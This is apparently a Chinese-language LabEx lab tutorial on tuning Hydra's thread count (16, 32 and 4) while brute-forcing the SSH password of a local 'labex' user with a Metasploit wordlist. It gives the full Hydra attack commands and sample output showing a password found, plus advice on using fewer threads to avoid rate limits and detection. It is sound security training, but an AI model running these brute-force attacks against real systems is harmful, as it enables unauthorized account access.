介绍
在本实验中,你将学习如何调整 Hydra(一个强大的网络登录破解工具)的线程数,以优化其性能。我们将在一台 LabEx 虚拟机上搭建一个基本的 SSH 服务器,然后使用 Hydra 进行密码破解尝试,并使用不同的线程数(16、32 和 4)。通过比较速度并观察这些不同设置的影响,你将了解如何根据可用资源和目标服务特性调整 Hydra 攻击的线程数,从而优化攻击。
设置 SSH 服务器
本步骤中,我们将在一台 LabEx 虚拟机上搭建一个基本的 SSH 服务器。SSH (Secure Shell) 是一种加密网络协议,用于在不安全的网络上安全地操作网络服务。它通常用于远程命令行登录和远程命令执行。
首先,我们需要安装 OpenSSH 服务器。OpenSSH 是一套基于安全外壳协议的安全相关网络级工具,也是最常见的 SSH 实现。
在 LabEx 虚拟机中打开一个终端。你可以使用默认的 Xfce 终端。
执行以下命令更新软件包列表:
sudo apt update
此命令会从其来源同步软件包索引文件。在安装任何新软件之前运行此命令是一个良好实践。你可能会被要求输入密码,但请记住,labex 用户无需密码即可拥有 sudo 权限。
接下来,安装 OpenSSH 服务器:
sudo apt install openssh-server -y
-y 标志会在安装过程中自动回答“是”,使该过程无需交互。
安装完成后,SSH 服务器应该会自动启动。你可以使用以下命令检查其状态:
sudo service ssh status
为了确认 SSH 服务器正在运行,你可以检查 SSH 端口(端口 22)是否正在监听。使用 netstat 命令:
netstat -tulnp | grep 22
你应该看到类似于这样的输出:
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
这表明 SSH 服务器正在监听端口 22,用于 IPv4 和 IPv6 连接。
现在 SSH 服务器已搭建完毕,你就可以使用 SSH 客户端从另一台机器连接到它。但是,在本实验中,我们将专注于使用 Hydra 以不同的线程配置破解 SSH 密码。
使用默认 16 个线程运行 Hydra
本步骤中,你将使用 Hydra 尝试破解 SSH 服务器上 labex 用户的密码。你将首先使用 Hydra 的默认线程数,即 16 个。
密码列表已在设置过程中下载。文件 ~/project/password.txt 包含来自 Metasploit 框架的 unix_passwords.txt 字典,其中包含数百个常见的 Unix 密码。与小型手动列表相比,这个更大的字典将更好地演示线程性能差异。
你可以验证密码列表是否可用并检查其大小:
ls -la ~/project/password.txt
wc -l ~/project/password.txt
这将显示文件详细信息和字典中密码的数量(应该有数百个条目)。
现在,执行 Hydra 命令。-l 选项指定要攻击的用户名称 (labex),-P 选项指定密码列表的路径 (~/project/password.txt),-V 选项启用详细模式以显示每次尝试。ssh://localhost 指示你正在攻击本地机器上的 SSH 服务。
hydra -V -l labex -P ~/project/password.txt ssh://localhost
Hydra 将开始尝试使用 password.txt 文件中的每个密码登录 SSH 服务器。由于你没有指定 -t 选项,Hydra 将使用其默认值 16 个线程,这意味着它将同时尝试 16 次密码尝试。-V 标志将实时显示每次尝试。
关于 -V 标志的重要说明:
-V (详细) 参数对于观察攻击过程至关重要。没有它,Hydra 只显示摘要信息和最终结果,但你将看不到显示每次测试密码的各个 [ATTEMPT] 行。此详细输出有助于你了解线程如何影响攻击速度和模式。
随着 Hydra 的进行,你将看到类似于这样的输出:
Hydra vX.Y (c) YYYY by van Hauser/THC - Use freely but only for legal purposes.
Hydra starting at YYYY-MM-DD HH:MM:SS
[DATA] max 16 tasks per 1 server, overall 16 tasks, XXX login tries (l:1/p:XXX), ~XX tries per task
[DATA] attacking ssh://localhost:22/
[ATTEMPT] target: localhost - login: labex - pass: !@#$%
[ATTEMPT] target: localhost - login: labex - pass: !@#$%^
[ATTEMPT] target: localhost - login: labex - pass: 000000
...
[22][ssh] host: localhost login: labex password: labex
1 of 1 target successfully completed, 1 valid password found
Hydra finished at YYYY-MM-DD HH:MM:SS
使用更大的字典,你会注意到 Hydra 需要更多时间才能找到正确的密码,这使得线程数差异更加明显。观察 Hydra 完成时提供的计时信息。
将线程数增加到 32 并比较速度
本步骤中,你将增加 Hydra 使用的线程数至 32 个,并观察其对破解速度的影响。增加线程数可能会加快该过程,因为它允许进行更多同时尝试,但其有效性取决于你的系统资源和目标服务的限制。
在你的终端中执行以下命令,使用 32 个线程运行 Hydra:
hydra -V -t 32 -l labex -P ~/project/password.txt ssh://localhost
此命令与之前的命令相同,只是增加了 -t 32,这明确地告诉 Hydra 使用 32 个线程。-V 标志确保你能看到每次密码尝试。
观察输出。你应该注意到 Hydra 报告开始 32 个任务/线程:
Hydra vX.Y (c) YYYY by van Hauser/THC - Use freely but only for legal purposes.
Hydra starting at YYYY-MM-DD HH:MM:SS
[DATA] max 32 tasks per 1 server, overall 32 tasks, XXX login tries (l:1/p:XXX), ~XX tries per task
[DATA] attacking ssh://localhost:22/
[ATTEMPT] target: localhost - login: labex - pass: !@#$%
[ATTEMPT] target: localhost - login: labex - pass: !@#$%^
[ATTEMPT] target: localhost - login: labex - pass: 000000
...
[22][ssh] host: localhost login: labex password: labex
1 of 1 target successfully completed, 1 valid password found
Hydra finished at YYYY-MM-DD HH:MM:SS
比较速度:
使用更大的字典,你应该能够观察到 16 线程和 32 线程运行之间更明显的计时差异。请注意:
- Hydra 报告的开始和结束时间
- “每任务尝试次数”的计算,它显示了工作负载的分配方式
- 完成攻击所需的时间
使用 32 个线程,你可能会观察到更快的完成时间,特别是如果目标密码位于字典的后面。但是,你可能还会注意到系统资源使用量增加,并且可能同时进行更多连接尝试。
减少线程数至 4 并观察
本步骤中,你将减少 Hydra 使用的线程数至 4 个,并观察其对性能的影响。当系统资源有限,或者目标服务可能具有激进的速率限制,从而阻止过多的同时连接尝试时,此场景非常有用。
在你的终端中执行以下命令,使用 4 个线程运行 Hydra:
hydra -V -t 4 -l labex -P ~/project/password.txt ssh://localhost
此命令与之前的命令类似,但现在你使用 -t 4 明确地将线程数设置为 4。-V 标志将详细显示每次密码尝试。
观察输出。你应该看到 Hydra 只启动 4 个任务/线程:
Hydra vX.Y (c) YYYY by van Hauser/THC - Use freely but only for legal purposes.
Hydra starting at YYYY-MM-DD HH:MM:SS
[DATA] max 4 tasks per 1 server, overall 4 tasks, XXX login tries (l:1/p:XXX), ~XX tries per task
[DATA] attacking ssh://localhost:22/
[ATTEMPT] target: localhost - login: labex - pass: !@#$%
[ATTEMPT] target: localhost - login: labex - pass: !@#$%^
[ATTEMPT] target: localhost - login: labex - pass: 000000
...
[22][ssh] host: localhost login: labex password: labex
1 of 1 target successfully completed, 1 valid password found
Hydra finished at YYYY-MM-DD HH:MM:SS
观察影响:
仅使用 4 个线程和更大的字典,你应该注意到性能上的显著差异:
- “每任务尝试次数”数字会更高,因为每个线程必须处理更多密码
- 与 16 和 32 线程运行相比,整体完成时间应该明显更长
- 你会看到更少的并发 [ATTEMPT] 消息,因为只有 4 次尝试同时运行
此实验表明,较低的线程数通常会导致性能较慢,但在某些情况下可能需要进行此调整,例如,当试图避免被目标系统的安全措施检测到,或在资源受限的机器上运行时。
分析线程对性能的影响
本步骤中,你将根据之前步骤的观察结果,分析线程数量对 Hydra 性能的影响。你已经使用 Metasploit 框架中的一个大型字典,进行了 4 个、16 个(默认)和 32 个线程的实验。
线程数量的关键考虑因素:
- 系统资源: 最佳线程数量很大程度上取决于你的系统可用资源,包括 CPU 内核、内存和网络带宽。如果将线程数设置得太高,你的系统可能会过载,导致性能下降,因为上下文切换开销和资源竞争。
- 目标服务限制: 目标服务(在本例中为 SSH)可能已启用速率限制或其他安全机制。如果服务限制了每单位时间内的登录尝试次数,那么将线程数增加到一定程度之后,性能不会提高,甚至可能触发安全警报或临时阻止。
- 网络延迟: Hydra 和目标服务之间的网络延迟也很可能会限制增加线程数的有效性。每个线程都需要建立和维护连接,高延迟会使这些操作变慢,抵消并行化的优势。
- 字典大小: 使用本实验中使用的较大字典,线程数差异会更加明显。unix_passwords.txt 字典包含数百个条目,这使得不同线程数的性能影响更容易观察。
观察和一般性指导:
- 4 个线程: 此设置通常较慢,但适用于资源有限的系统或攻击具有严格速率限制的服务。它不太可能导致系统过载或立即触发安全警报。使用大型字典,你应该观察到完成时间明显更长。
- 16 个线程(默认): Hydra 的默认 16 个线程通常是许多系统和目标服务在性能和资源使用之间取得良好平衡的一个好选择。它提供了一个合理的并行化级别,通常不会使攻击机或目标过载。
- 32 个线程: 将线程数增加到 32 个可能会提高性能,特别是如果你的系统拥有充足的资源(例如,多个 CPU 内核)并且目标服务没有激进的速率限制。但是,至关重要的是要监控你的系统的资源使用情况,以确保它不会成为瓶颈。
需要考虑的性能指标:
在评估线程性能时,请考虑以下因素:
- 总执行时间: 从开始到结束所需的时间
- 每秒尝试次数: 密码尝试的速率
- 系统资源使用情况: CPU、内存和网络利用率
- 目标服务响应: 服务是否变得无法响应或实施阻止
结论:
对于 Hydra,没有单一的“最佳”线程数;最佳设置取决于你的攻击机和目标服务等多种因素。重要的是要尝试不同的设置,并监控你的系统性能和目标的响应,以找到速度和资源使用之间的最有效平衡。理解这些动态,可以让你针对不同的场景优化你的 Hydra 攻击。
总结
在本实验中,你学习了如何调整 Hydra 的线程数及其对性能的影响,并使用了大型密码字典。你首先在你的 LabEx 虚拟机上设置了一个基本的 SSH 服务器。然后,你使用 Hydra 对这个 SSH 服务器进行密码破解尝试,使用了不同的线程数:默认的 16 个、增加到 32 个和减少到 4 个,并使用了 Metasploit 框架中的 unix_passwords.txt 字典。通过观察每个场景在使用实际大小的字典时的速度和完成时间,你获得了关于线程数如何影响 Hydra 效率的实践见解。本实验演示了根据可用系统资源和目标服务特性优化线程数的重要性,以在密码破解操作中获得最佳性能。


